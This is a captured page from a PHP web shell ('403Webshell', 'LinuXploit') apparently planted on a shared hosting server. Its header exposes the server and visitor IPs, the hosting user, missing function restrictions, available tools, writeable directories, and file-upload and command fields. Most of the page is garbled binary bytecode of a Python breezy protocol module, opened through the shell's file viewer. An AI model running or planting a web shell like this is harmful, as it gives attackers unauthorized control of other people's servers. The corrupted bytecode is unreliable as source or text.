403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/message.cpython-313.pyc
�

p��g?5���SSKJr SSKJr SSKJrJr SSKJr "SS5r	"SS	\	5r
"S
S5r"SS
\	\5rSr
g)�)�deque)�BytesIO�)�debug�errors)�mutterc�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�MessageHandler�z�Base class for handling messages received via the smart protocol.

As parts of a message are received, the corresponding PART_received method
will be called.
c��SUlg�N��headers��selfs �:/usr/lib/python3/dist-packages/breezy/bzr/smart/message.py�__init__�MessageHandler.__init__s	�����c��Xlg)ziCalled when message headers are received.

This default implementation just stores them in self.headers.
Nr)rrs  r�headers_received�MessageHandler.headers_received"s	��
�rc�,�[UR5e)zrCalled when a 'byte' part is received.

Note that a 'byte' part is a message part consisting of exactly one
byte.
)�NotImplementedError�
byte_received�r�bytes  r�byte_part_received�!MessageHandler.byte_part_received)s��"�$�"4�"4�5�5rc�,�[UR5e)z�Called when a 'bytes' part is received.

A 'bytes' message part can contain any number of bytes.  It should not
be confused with a 'byte' part, which is always a single byte.
�r�bytes_received�r�bytess  r�bytes_part_received�"MessageHandler.bytes_part_received1���"�$�"5�"5�6�6rc�,�[UR5e)z�Called when a 'structure' part is received.

:param structure: some structured data, which will be some combination
    of list, dict, int, and str objects.
r!�r�	structures  r�structure_part_received�&MessageHandler.structure_part_received9r'rc��e)zjCalled when there is a protocol decoding error.

The default implementation just re-raises the exception.
��r�	exceptions  r�protocol_error�MessageHandler.protocol_errorAs��
	rc��g)z/Called when the end of the message is received.Nr.rs r�end_received�MessageHandler.end_receivedHs��	
rrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrrr%r+r1r4�__static_attributes__r.rrr
r
s*�����6�7�7��
rr
c�H�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�ConventionalRequestHandler�Na�A message handler for "conventional" requests.

"Conventional" is used in the sense described in
doc/developers/network-protocol.txt: a simple message with arguments and an
optional body.

Possible states:
 * args: expecting args
 * body: expecting body (terminated by receiving a post-body status)
 * error: expecting post-body error
 * end: expecting end of message
 * nothing: finished
c�p�[RU5 XlX lSUlSUlSUlg)N�argsF)r
r�request_handler�	responder�	expecting�_should_finish_body�_response_sent)rrArBs   rr�#ConventionalRequestHandler.__init__]s2������%�.��"�����#(�� �#��rc�r�URR(agURRU5 gr
)rB�
response_sent�
send_errorr/s  rr1�)ConventionalRequestHandler.protocol_errores&���>�>�'�'�
����!�!�)�,rc�.�[U[5(d[U5eURS:XaAUS:XaSUlgUS:XaSUlg[R
"SR
U55e[R
"SR
U55e)N�body�S�end�E�errorz-Non-success status byte in request body: {!r}z#Unexpected message part: byte({!r}))�
isinstancer$�	TypeErrorrCr�SmartProtocolError�formatrs  rr�-ConventionalRequestHandler.byte_part_receivedls����$��&�&��D�/�!��>�>�V�#��t�|�!&������!(����/�/�C�J�J�4�P����+�+�5�<�<�T�B��
rc���URS:XaURU5 gURS:XaURU5 g[R"SRU55e)Nr@rPz(Unexpected message part: structure({!r}))rC�_args_received�_error_receivedrrSrTr)s  rr+�2ConventionalRequestHandler.structure_part_receivedsW���>�>�V�#����	�*�
�^�^�w�
&�� � ��+��+�+�:�A�A�)�L��
rc��SUlURRU5 URR(a>SUlUR
R
URR5 SUlgg)NrLTrN)rCrA�
args_received�finished_readingrErB�
send_response�response)rr@s  rrW�)ConventionalRequestHandler._args_received�s^��������*�*�4�0����0�0�"&�D���N�N�(�(��)=�)=�)F�)F�G�"�D�N�1rc�H�SUlURRU5 g)NrN)rCrA�post_body_error_received)r�
error_argss  rrX�*ConventionalRequestHandler._error_received�s��������5�5�j�Arc��URS:Xa#SUlURRU5 g[R
"SR
U55e)NrLTz$Unexpected message part: bytes({!r}))rCrDrA�accept_bodyrrSrTr#s  rr%�.ConventionalRequestHandler.bytes_part_received�sK���>�>�V�#�'+�D�$�� � �,�,�U�3��+�+�6�=�=�e�D��
rc��URS;a/[R"SRUR55eSUlURR5 URR(d[R"S5eUR(d0URRURR5 gg)N)rLrNz8End of message received prematurely (while expecting {})�nothingzYComplete conventional request was received, but request handler has not finished reading.)rCrrSrTrAr4r\rErBr]r^rs rr4�'ConventionalRequestHandler.end_received�s����>�>��0��+�+�J�Q�Q��N�N���
�
#������)�)�+��#�#�4�4��+�+�4��
��"�"��N�N�(�(��)=�)=�)F�)F�G�#r)rErDrCrArBN)r6r7r8r9r:rr1rr+rWrXr%r4r;r.rrr=r=Ns1���$�-��&�#�B��Hrr=c�8�\rSrSrSrS	SjrS
SjrSrSrSr	g)�ResponseHandler�z@Abstract base class for an object that handles a smart response.c�,�[UR5e)ajReads and returns the response tuple for the current request.

:keyword expect_body: a boolean indicating if a body is expected in the
    response.  Some protocol versions needs this information to know
    when a response is finished.  If False, read_body_bytes should
    *not* be called afterwards.  Defaults to False.
:returns: tuple of response arguments.
)r�read_response_tuple�r�expect_bodys  rrn�#ResponseHandler.read_response_tuple�s��"�$�":�":�;�;rc�,�[UR5e)z�Read and return some bytes from the body.

:param count: if specified, read up to this many bytes.  By default,
    reads the entire body.
:returns: str of bytes from the response body.
)r�read_body_bytes)r�counts  rrs�ResponseHandler.read_body_bytes�s��"�$�"6�"6�7�7rc�,�[UR5e)zCReturns an iterable that reads and returns a series of body chunks.)r�read_streamed_bodyrs rrw�"ResponseHandler.read_streamed_body�s��!�$�"9�"9�:�:rc�,�[UR5e)a)Stop expecting a body for this response.

If expect_body was passed to read_response_tuple, this cancels that
expectation (and thus finishes reading the response, allowing a new
request to be issued).  This is useful if a response turns out to be an
error rather than a normal result with a body.
)r�cancel_read_bodyrs rrz� ResponseHandler.cancel_read_body�s��"�$�"7�"7�8�8rr.N�F����)
r6r7r8r9r:rnrsrwrzr;r.rrrkrk�s��J�	<�8�;�9rrkc�j�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSSjr
SSjrS
rSrSrg)�ConventionalResponseHandler��c��[RU5 SUlSUl[	5UlSUlSUlSUlSUl	SUl
g)NF)r
r�statusr@r�_bytes_parts�
_body_started�_body_stream_status�_body�_body_error_argsr\rs rr�$ConventionalResponseHandler.__init__�sO������%������	�!�G���"���#'�� ���
� $��� %��rc��XlX lgr
)�_protocol_decoder�_medium_request)r�protocol_decoder�medium_requests   r�setProtoAndMediumRequest�4ConventionalResponseHandler.setProtoAndMediumRequest�s��!1��-�rc��[U[5(d[U5eUS;a%[R"SRU55eUR(a9URb%[R"SRU55eXlgURb%[R"SRU55eXlg)N)rOrMzUnknown response status: {!r}z#Unexpected byte part received: {!r})	rQr$rRrrSrTr�r�r�rs  rr�.ConventionalResponseHandler.byte_part_received�s����$��&�&��D�/�!��|�#��+�+�/�6�6�t�<��
�����'�'�3��/�/�9�@�@��F���(,�$��{�{�&��/�/�9�@�@��F����Krc�H�SUlURRU5 g�NT)r�r��appendr#s  rr%�/ConventionalResponseHandler.bytes_part_received�s��!������ � ��'rc��[U[5(d%[R"SR	U55eUR
(dCURb/[R"SR	XR55eXlgURS:wa%[R"SR	U55eXlg)Nz&Args structure is not a sequence: {!r}z6Unexpected structure received: {!r} (already got {!r})rOz.Unexpected structure received after body: {!r})	rQ�tuplerrSrTr�r@r�r�r)s  rr+�3ConventionalResponseHandler.structure_part_received�s����)�U�+�+��+�+�8�?�?�	�J��
��!�!��y�y�$��/�/�L�S�S�!�9�9����
"�I��'�'�4�/��/�/�D�K�K�I�V���%.�!rc��URcDUR(d2UR5 URcUR(dM0ggggr
)r@r\�
_read_morers r�_wait_for_response_args�3ConventionalResponseHandler._wait_for_response_argss>���i�i���(=�(=��O�O���i�i���(=�(=�(=��(=�rc�n�UR(d$UR5 UR(dM#ggr
)r\r�rs r�_wait_for_response_end�2ConventionalResponseHandler._wait_for_response_ends#���'�'��O�O���'�'�'rc���URR5nUS:Xa"SUlURR5 gURR	U5nUS:XapS[
R;aF[SURR5SSURRR5 [R"S5eURRU5 g)NrTr�hpssz+decoder state: buf[:10]=%r, state_accept=%s�
zkUnexpected end of message. Please check connectivity and permissions, and report a bug if problems persist.)r��next_read_sizer\r��
read_bytesr�debug_flagsr�_get_in_buffer�state_acceptr6r�ConnectionReset�accept_bytes)rr��datas   rr��&ConventionalResponseHandler._read_mores����/�/�>�>�@���Q��$(�D�!�� � �1�1�3���#�#�.�.�~�>���3�;���*�*�*��A��*�*�9�9�;�C�R�@��*�*�7�7�@�@��
�(�(�'��
�
	
���+�+�D�1rc�F�SUlURR5 er�)r\r�r/s  rr1�*ConventionalResponseHandler.protocol_error1s�� $������-�-�/�
rc�8�UR5 U(dUR5 S[R;a[	SUR
5 URS:Xa%UR5 [UR
5 [UR
5$)z$Read a response tuple from the wire.r�z   result:   %rrO)	r�r�rr�rr@r��_raise_smart_server_errorr�ros  rrn�/ConventionalResponseHandler.read_response_tuple7sm���$�$�&���'�'�)��U�&�&�&��$�d�i�i�0��;�;�$���'�'�)�%�d�i�i�0��T�Y�Y��rc�(�URckUR5 SRUR5nS[R
;a[
S[U55 [U5UlSUlURRU5$)aRead bytes from the body, decoding into a byte stream.

We read all bytes at once to ensure we've checked the trailer for
errors, and then feed the buffer back as read_body_bytes is called.

Like the builtin file.read in Python, a count of -1 (the default) means
read the entire body.
Nrr�z               %d body bytes read)
r�r��joinr�rr�r�lenr�read)rrt�
body_bytess   rrs�+ConventionalResponseHandler.read_body_bytesCsr���:�:���'�'�)����$�"3�"3�4�J���*�*�*��9�3�z�?�K� ��,�D�J� $�D���z�z���u�%�%rc#�# �UR(d�UR(aZURR5nS[R;a[S[
U55 Uv� UR(aMZUR5 UR(dM�URS:Xa[UR5 gg7f)N�
hpssdetailz              %d byte part readrO)r\r��popleftrr�rr�r�r�r�r�)r�
bytes_parts  rrw�.ConventionalResponseHandler.read_streamed_bodyWs�����'�'��#�#�!�.�.�6�6�8�
��5�#4�#4�4��<�c�*�o�N� � �	�#�#�#�

�O�O��
�'�'�'��#�#�t�+�%�d�&;�&;�<�,�s�A;C	�?!C	�"'C	c�$�UR5 gr
)r�rs rrz�,ConventionalResponseHandler.cancel_read_bodybs���#�#�%r)
r�r�r�r�r�r�r�r@r\r�Nr|r})r6r7r8r9rr�rr%r+r�r�r�r1rnrsrwrzr;r.rrr�r��sC��	&�.��((�.�(��2�.�
 �&�(	=�&rr�c�r�USS:Xa[R"US5e[R"U5e)z�Raise exception based on tuple received from smart server.

Specific error translation is handled by breezy.bzr.remote._translate_error
rs
UnknownMethod�)r�UnknownSmartMethod�ErrorFromSmartServer)�error_tuples rr�r�fs7��
�1�~�)�)��'�'��A��7�7�
�
%�
%�k�
2�2rN)�collectionsr�ior�rr�tracerr
r=rkr�r�r.rr�<module>r�sP��"����3
�3
�l_H��_H�D#9�#9�LM&�.�/�M&�`3r

Youez - 2016 - github.com/yon3zu
LinuXploit